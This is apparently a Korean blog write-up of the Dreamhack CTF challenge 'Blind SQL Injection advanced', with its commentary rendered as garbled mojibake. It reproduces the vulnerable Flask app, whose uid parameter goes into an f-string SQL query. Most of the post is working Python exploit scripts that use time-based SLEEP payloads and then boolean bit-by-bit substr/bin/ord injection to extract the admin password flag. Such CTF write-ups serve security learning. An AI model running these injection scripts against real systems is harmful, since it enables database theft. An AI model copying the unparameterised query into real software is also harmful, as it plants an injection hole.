[2025-07-15] Blind SQL Injection advanced
๐ฆฅ ๋ณธ๋ฌธ
import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'user_db')
mysql = MySQL(app)
@app.route('/', methods=['GET'])
def index():
uid = request.args.get('uid', '')
nrows = 0
if uid:
cur = mysql.connection.cursor()
nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")
return render_template_string(template, uid=uid, nrows=nrows)
if __name__ == '__main__':
app.run(host='0.0.0.0')
- ์๊ณ init.sql ์ ๋ณด๋ admin์ upw๊ฐ Flag์๋ค. ๊ธธ์ด๋ถํฐ ์๊ธฐ์ํด์
import requests
import time
# ํ๊ฒ URL ์ค์
URL = "http://host3.dreamhack.games:21066/"
# ๋น๋ฐ๋ฒํธ์ ์ต๋ ๊ธธ์ด๋ฅผ ์ถ์ธกํ๋ ๋ฒ์ (1๋ถํฐ 50๊น์ง)
MAX_LENGTH = 100
def find_password_length():
for length in range(1, MAX_LENGTH + 1):
payload = f"admin' AND IF(LENGTH(upw)={length}, SLEEP(5), 0)-- "
start_time = time.time()
response = requests.get(URL, params={'uid': payload})
elapsed_time = time.time() - start_time
if elapsed_time >= 4:
print(f"[+] Found password length: {length}")
return length
print("[-] Could not determine password length.")
return None
if __name__ == "__main__":
find_password_length()
- ์ ์ฝ๋๋ฅผ ์ฌ์ฉํด ๋ณด๋ 27์ ์๋ค.
import requests
import time
import string
# ํ๊ฒ URL ์ค์ (DreamHack ์๋ฒ)
URL = "http://host3.dreamhack.games:21066/"
# ์ฌ์ฉํ ๋ฌธ์ ์งํฉ (ASCII)
CHARSET = string.ascii_letters + string.digits + string.punctuation # ๋ชจ๋ ASCII ๋ฌธ์ ํฌํจ
# ๋น๋ฐ๋ฒํธ ๊ธธ์ด (์ด๋ฏธ ์์๋ธ ๊ฐ)
PASSWORD_LENGTH = 27
def find_password():
password = ""
for position in range(1, PASSWORD_LENGTH + 1):
for char in CHARSET:
payload = f"admin' AND IF(SUBSTRING(upw,{position},1)='{char}', SLEEP(5), 0)-- "
start_time = time.time()
# ์์ฒญ ๋ณด๋ด๊ธฐ
response = requests.get(URL, params={'uid': payload})
elapsed_time = time.time() - start_time
# ์๋ต ์๊ฐ์ด 5์ด ์ด์์ด๋ฉด ๋ง๋ ๋ฌธ์์
if elapsed_time >= 5:
password += char
print(f"[+] Found character at position {position}: {char}")
break
print(f"\n[+] Password found: {password}")
return password
if __name__ == "__main__":
find_password()
- ์ด ์ฝ๋๋ฅผ ์ฌ์ฉํด๋ดค๋ ๋ฐ 1,2,3,11,12,13๋ฒ์งธ๋ง ์ถ๋ ฅํด์คฌ๋ค.
- ๋ ์๊ฐ์ด ๋ง๋ ์๋๊ฒ ์ค๋ ๊ฑธ๋ ค์ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ์ฐพ์๋ณด์๋ค. ๋ํ 13๋ฒ์งธ์์ }๊น์ง ๋์์ 27์๊ฐ ์๋ ๊ฑฐ ๊ฐ์์ ๊ฒ์ํ์ฌ ์ฐพ์๋ณด์๋ค.
ํ์ด
- ๊ธธ์ด๋ฅผ ์์๋ด๋ ์ฝ๋
from requests import get
host = "http://localhost:5000"
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"password length: {password_length}")
- ์์ ์ฝ๋๋ฅผ ์ฌ์ฉํ๋ ๋ฐ 13์๊ฐ ๋์จ ๊ฒ์ด์๋คโฆ.
- ํ๊ธ์ ์ ๋์ฝ๋๋ก 3๋ฐ์ดํธ๋ผ ์๋๋ณด๋ค ํฌ๊ฒ ๋์จ ๊ฒ์ด๋ค.. ๋ํ ๋นํธ ๋จ์๋ก ์ชผ๊ฐ์ ๋๋๋ ์์คํค์ธ์ง ํ๊ธ์ธ์ง ๊ตฌ๋ถํ ์ ์์๊ณ ์๊ฐ๋ ํจ์ฌ ๋นจ๋๋ค.
from requests import get
host = "http://host3.dreamhack.games:16736/"
password_length = 13
password = ""
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)
Leave a comment